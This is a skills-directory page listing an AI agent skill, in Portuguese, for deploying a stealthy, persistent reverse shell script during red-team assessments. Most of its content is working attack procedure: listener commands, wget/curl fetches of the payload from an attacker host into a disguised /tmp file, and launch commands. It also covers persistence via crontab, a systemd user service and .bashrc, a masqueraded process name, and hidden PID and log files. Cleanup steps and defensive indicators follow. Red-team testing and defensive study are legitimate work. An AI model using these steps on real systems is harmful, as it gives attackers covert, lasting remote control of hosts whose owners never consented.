Skip to content
Back to skills

Khaos Rshell Operations

CSecurity

Deploy e gerenciamento de reverse shell persistente e stealth (rshell.sh) em assessments de red team autorizados — listener, deployment, evidência e cleanup completo.

  • 6 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added December 5, 2026
ai-agentspythongoshellbashnodegit

Works with

  • cli

Security analysis

C72/100
  • mediumUses curl or wget to download content
  • mediumUses curl or wget to download content
  • highCreates or modifies cron jobs for persistent execution
  • criticalModifies startup scripts or system services for persistence

Pro shows the line behind each finding and how to fix it

Scanned December 5, 2026

npx -y skills add henriqqw/Khaos-Pentester-Agent --skill khaos-rshell-operations --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Khaos Rshell Operations?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Khaos Rshell Operations
[![Security: C — Skills Directory](https://www.skillsdirectory.com/api/skills/henriqqw-khaos-rshell-operations-khaos-pentester-agent/badge)](https://www.skillsdirectory.com/skills/henriqqw-khaos-rshell-operations-khaos-pentester-agent)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: khaos-rshell-operations
description: Deploy e gerenciamento de reverse shell persistente e stealth (rshell.sh) em assessments de red team autorizados — listener, deployment, evidência e cleanup completo.
metadata:
  khaos:
    tool_ids: []
    wordlist_ids: []
    stages: [exploitation, pivot, validation]
    source_type: original
    source:
      repository: https://github.com/gotr00t0day/RShell
      revision: main
      path: rshell.sh
      license: N/A
      reviewed_by: Khaos operator
      review_note: >
        Skill escrita a partir de análise direta do RShell (gotr00t0day). Script melhorado
        disponível em data/payloads/rshell/rshell.sh — corrige loop infinito em setup_stealth,
        nc_mkfifo quebrado, paths relativos em persistence e adiciona método TLS via openssl.
        Requer unrestricted_mode: true; nenhuma técnica de movimento lateral adicional incluída.
---

# rshell — Reverse Shell Persistente Stealth

**Requer:** `unrestricted_mode: true` no authorization plan  
**Script:** `data/payloads/rshell/rshell.sh` (versão corrigida e melhorada)  
**Referência upstream:** https://github.com/gotr00t0day/RShell  

> Esta skill cobre apenas ambientes de lab ou assessments com autorização explícita para persistence e post-exploitation. Não execute em produção sem ROE escrito.

---

## Pré-requisitos do assessment

Antes de qualquer deployment:

1. **Escopo** — target autorizado para exploitation + persistence no authorization plan
2. **ROE** — confirme se o cliente permite persistence (crontab, systemd, .bashrc). Muitos programas de bug bounty **não** autorizam persistence — verifique.
3. **Canal de cleanup** — documente todos os locais onde o script será instalado ANTES do deployment para garantir limpeza completa ao final.
4. **Listener ready** — tenha o listener ativo no host atacante antes de disparar o script no target.

---

## Fase 1 — Setup do listener (host atacante)

Escolha um método:

```bash
# Opção 1: Netcat simples (funciona sempre)
nc -lvnp 4444

# Opção 2: Socat com TTY completo (recomendado — dá shell interativo)
socat file:`tty`,raw,echo=0 tcp-listen:4444,reuseaddr

# Opção 3: Socat TLS (use com rshell --tls)
# Gerar cert self-signed:
openssl req -newkey rsa:2048 -nodes -keyout server.key -x509 -days 365 -out server.crt -subj "/CN=localhost"
socat file:`tty`,raw,echo=0 openssl-listen:4444,cert=server.crt,key=server.key,verify=0,reuseaddr

# Opção 4: Metasploit handler (para payload meterpreter)
msfconsole -x "use exploit/multi/handler; set payload linux/x64/shell/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; exploit"
```

---

## Fase 2 — Deploy no target

### Transfer do script

```bash
# Via HTTP (simple)
# No host atacante:
python3 -m http.server 8888

# No target:
wget http://<ATTACKER_IP>:8888/rshell.sh -O /tmp/.update-svc
# ou
curl -s http://<ATTACKER_IP>:8888/rshell.sh -o /tmp/.update-svc
chmod +x /tmp/.update-svc
```

### Iniciar em background

```bash
# Start persistente (modo stealth padrão)
/tmp/.update-svc <ATTACKER_IP> <PORT>

# Com TLS (openssl s_client — mais realista para redes monitoradas)
/tmp/.update-svc <ATTACKER_IP> <PORT> --tls

# Testar conectividade sem abrir shell
/tmp/.update-svc <ATTACKER_IP> <PORT> --check
```

### Verificar se está rodando

```bash
/tmp/.update-svc status
echo $?  # 0 = running, 1 = not running
```

---

## Fase 3 — Comportamento esperado

| Parâmetro | Valor padrão |
|---|---|
| Intervalo base | 300s (5 min) |
| Jitter | ±120s |
| Range real | 3–7 min entre tentativas |
| Com monitoring detectado | Dobra os intervalos |
| Delay pré-conexão | 1–10s aleatório |

**Métodos de conexão** (ordem randomizada a cada tentativa):
1. `bash /dev/tcp` — mais limpo, sem processos externos
2. `openssl s_client` — TLS, evita DPI de texto claro
3. `python3` socket
4. `python` socket (legado)
5. `netcat -e` (versão tradicional)
6. `netcat mkfifo` (versão BSD)
7. `perl` socket

---

## Fase 4 — Persistence instalada automaticamente

O script instala 3 mecanismos ao iniciar. **Documente cada um antes do cleanup:**

| Mecanismo | Localização |
|---|---|
| Crontab | `*/15 * * * * /path/to/script ip port` |
| Systemd user | `~/.config/systemd/user/system-update.service` |
| .bashrc | Linha `nohup /path/to/script ip port &` |
| PID file (privileged) | `/var/run/.systemd-resolve` |
| PID file (user) | `/tmp/.font-cache` |
| Log file | `/var/log/.systemd-journal` ou `/tmp/.cache-update` |

---

## Fase 5 — Evidência (obrigatória antes do cleanup)

Registre via `khaos_create_finding` com:

```
severity: CRITICAL
title: Persistent Reverse Shell Established (CVE-N/A)
evidence:
  - Screenshot do shell ativo com `id`, `hostname`, `whoami`
  - Output de `ps aux` mostrando o processo mascarado
  - Crontab instalada (`crontab -l`)
  - Log de conexões do listener
affected_endpoint: <IP/hostname do target>
reproduction:
  1. Transfer rshell.sh para target
  2. Executar com ./rshell.sh <ip> <port>
  3. Listener recebe conexão em ~5 min (ou imediatamente)
```

**Gate de validação:** mínimo 1 conexão bem-sucedida documentada + `id` + persistence confirmada em pelo menos 1 mecanismo.

---

## Fase 6 — Cleanup completo

Execute obrigatoriamente ao finalizar o assessment:

```bash
# Stop e remoção automática
/tmp/.update-svc stop

# Verificar que parou
/tmp/.update-svc status && echo "AINDA RODANDO" || echo "OK — parado"

# Verificação manual dos artefatos
crontab -l | grep -E "(update-svc|rshell)"
ls -la ~/.config/systemd/user/system-update.service 2>/dev/null
grep -n "nohup" ~/.bashrc
ls /var/log/.systemd-journal /tmp/.cache-update 2>/dev/null

# Limpeza manual se stop não removeu tudo
crontab -l | grep -v "update-svc" | crontab -
rm -f ~/.config/systemd/user/system-update.service
systemctl --user daemon-reload 2>/dev/null
# Editar ~/.bashrc para remover linha do nohup
sed -i '/nohup.*update-svc/d' ~/.bashrc
```

---

## Indicadores defensivos (para relatório)

Inclua na seção de "Defensive Considerations" do finding:

- Processo `[kworker/0:1]` com UID de usuário comum (não root) — kernel workers são root
- Conexões TCP de saída periódicas a cada ~5 min com jitter
- Entrada de crontab com path em `/tmp/` ou `$HOME`
- Service file em `~/.config/systemd/user/` com nome genérico ("system-update")
- Linha `nohup` no `.bashrc` não esperada
- Arquivos ocultos em `/var/log/` ou `/tmp/` com nomes que imitam systemd

---

## Limitações conhecidas

- **`setup_stealth` loop infinito** no script original upstream — use `data/payloads/rshell/rshell.sh` (versão corrigida)
- **`nc_mkfifo` quebrado** upstream — corrigido na versão local
- **Plaintext** no modo padrão — use `--tls` em redes com DPI
- **Sem ofuscação de payload** — auditores de EDR baseados em comportamento detectam `/bin/bash -i`
- **Sem C2 protocol** — tráfego é uma shell TCP/TLS direta, não HTTP/DNS; proxy não funciona

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in ai-agents →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.